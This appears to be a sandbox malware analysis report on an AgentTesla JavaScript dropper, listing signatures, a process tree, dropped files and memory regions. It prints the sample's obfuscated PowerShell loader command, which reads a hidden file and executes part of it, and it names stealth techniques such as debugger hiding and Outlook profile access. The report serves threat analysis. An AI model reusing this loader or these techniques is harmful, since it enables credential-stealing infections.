Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/07/2026, 12:13

General

  • Target
    RPF1910485_20260707.js
  • Size 30KB
  • Sample260707-pdwp1sew2k
  • SHA256 949abf330c91394244652c39401b0d47bffafe4341c86add97855f0833455338
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • agenttesla

Credentials

Signatures

  • Family: AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
  • Drops desktop.ini file(s) 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 24 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\RPF1910485_20260707.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:960
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" C:\Begr
      2⤵
      • Modifies registry class
      PID:792
  • C:\Windows\explorer.exe
    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
    1⤵
    • Drops desktop.ini file(s)
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:920
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Fjernskri='/app'+'data';$Prost=gc ($HOME+$Fjernskri+'/local/Crocod');$Xica=$Prost[2981]+$Prost[2982]+$Prost[2983]; . ($Xica) $Prost"
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2912
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:5396
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Fjernskri='/app'+'data';$Prost=gc ($HOME+$Fjernskri+'/local/Crocod');$Xica=$Prost[2981]+$Prost[2982]+$Prost[2983]; . ($Xica) $Prost"
      1⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5252
      • C:\Windows\SysWOW64\backgroundTaskHost.exe
        "C:\Windows\SysWOW64\backgroundTaskHost.exe"
        2⤵
          PID:5460
        • C:\Windows\SysWOW64\backgroundTaskHost.exe
          "C:\Windows\SysWOW64\backgroundTaskHost.exe"
          2⤵
          • Accesses Microsoft Outlook profiles
          • Suspicious use of NtCreateThreadExHideFromDebugger
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          PID:1132
          • C:\Windows\SysWOW64\backgroundTaskHost.exe
            "C:\Windows\SysWOW64\backgroundTaskHost.exe"
            3⤵
              PID:3160

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 7c5b334145d0a91710b4d958ccbedf88f185dc8442e76f8d0126e4b831c02d43
              • MD5 SHA1 SHA512 TLSH

              Cineolski.Gab

              • Path C:\Users\Admin\AppData\Roaming\Cineolski.Gab
              • Size 203KB
              • SHA256 272cda1dc9d0e2fddde6aa18448c52a172876b1832b1c8748d26aa16a52558c8
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Crocod

              • Path C:\Users\Admin\appdata\local\Crocod
              • Size 2KB
              • SHA256 14842f3620ab075e1f1aefc564796c527a257ec6269b41b2a10acb7f46c7b89b
              • MD5 SHA1 SHA512 TLSH

              memory/1132-52-0x0000000020DC0000-0x0000000020DCA000-memory.dmp

              memory/1132-51-0x0000000021430000-0x00000000214C2000-memory.dmp

              memory/1132-49-0x0000000020D00000-0x0000000020D9C000-memory.dmp

              memory/1132-48-0x0000000020C10000-0x0000000020C60000-memory.dmp

              memory/1132-44-0x0000000000C00000-0x0000000001EE6000-memory.dmp

              memory/1132-45-0x0000000000C00000-0x0000000000C44000-memory.dmp

              memory/1132-27-0x0000000000C00000-0x0000000001EE6000-memory.dmp

              memory/2912-1-0x000001737FFE0000-0x0000017380002000-memory.dmp

              memory/5252-12-0x0000000005600000-0x0000000005666000-memory.dmp

              memory/5252-18-0x0000000005BB0000-0x0000000005BFC000-memory.dmp

              memory/5252-21-0x0000000006100000-0x0000000006122000-memory.dmp

              memory/5252-22-0x00000000073E0000-0x000000000799A000-memory.dmp

              memory/5252-23-0x0000000008020000-0x000000000869C000-memory.dmp

              memory/5252-19-0x0000000006B40000-0x0000000006BD6000-memory.dmp

              memory/5252-25-0x00000000086A0000-0x000000000CEE0000-memory.dmp

              memory/5252-20-0x00000000060B0000-0x00000000060CA000-memory.dmp

              memory/5252-17-0x0000000005B50000-0x0000000005B6E000-memory.dmp

              memory/5252-15-0x0000000005670000-0x00000000059CB000-memory.dmp

              memory/5252-11-0x0000000005590000-0x00000000055F6000-memory.dmp

              memory/5252-10-0x0000000004C90000-0x0000000004CB2000-memory.dmp

              memory/5252-9-0x0000000004E90000-0x00000000054DA000-memory.dmp

              memory/5252-8-0x0000000002310000-0x0000000002346000-memory.dmp